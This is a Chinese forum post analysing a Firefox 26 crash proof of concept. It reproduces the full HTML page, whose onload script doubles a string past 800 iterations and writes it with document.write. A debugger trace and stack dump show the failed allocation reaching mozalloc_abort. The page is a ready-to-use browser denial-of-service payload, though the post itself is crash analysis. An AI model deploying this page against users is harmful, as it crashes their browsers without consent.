TA的每日心情 | 怒 2024-11-13 20:06 |
---|
签到天数: 1628 天 [LV.Master]伴坛终老
|
今日,在binvul(这里)看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意:注释是我自己添加上去的):
【样本文件】
- <html>
- <head>
- <title>Mozilla Firefox Crash 0Day</title>
- <body onload="javascript:coolkaveh();">
- <script language="JavaScript">
- function coolkaveh(){
- var buf = '\x41\x41\x41'
- for(i=0; i <= 800 ; ++i){
- buf+=buf+buf //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃
- document.write(buf); //Written by vscen:罪魁祸首
- }
- }
- </script>
- </head>
- </body>
- </html>
复制代码 【相关环境】
分析工具:OllyICE
浏览器:Firefox 26.0.0.5087
操作系统:Windows
【分析过程】
分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃:
- 10004C15 > 56 push esi ; mozglue.malloc
- 10004C16 8B7424 08 mov esi, dword ptr [esp+8]
- 10004C1A 85F6 test esi, esi
- 10004C1C 75 01 jnz short 10004C1F
- 10004C1E 46 inc esi
- 10004C1F 81FE 00F00F00 cmp esi, 0FF000
- 10004C25 77 13 ja short 10004C3A
- 10004C27 6A 00 push 0
- 10004C29 E8 60FDFFFF call 1000498E
- 10004C2E 8BC8 mov ecx, eax
复制代码 拷贝(buf)里面的字符串到分配的缓冲区:
- 0156265C 8BD7 mov edx, edi
- 0156265E 2BD0 sub edx, eax
- 01562660 52 push edx
- 01562661 50 push eax
- 01562662 8B06 mov eax, dword ptr [esi]
- 01562664 53 push ebx
- 01562665 E8 26130000 call 01563990
复制代码 堆栈信息:
0012DDA8 00F61096 /CALL 到 malloc 来自 mozalloc.00F61094
- 0012DDAC 0048FB78 \size = 48FB78 (4782968.)
- 0012DDB0 001853D3
- 0012DDB4 110503E0
- 0012DDB8 01563B0A 返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc
- 0012DDBC 0048FB78
- 0012DDC0 001853D3
- 0012DDC4 10F3A450
- 0012DDC8 00000041
- 0012DDCC 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- 0012DDD0 00000000
- 0012DDD4 00000000
- 0012DDD8 0156266A 返回到 xul.0156266A 来自 xul.01563990
- 0012DDDC 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
- 0012DDE0 00000000
- 0012DDE4 00247DBC
- 0012DDE8 0012DE94
- 0012DDEC 10F3A450
- 0012DDF0 00000000
- 0012DDF4 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
复制代码 【崩溃截图】
|
|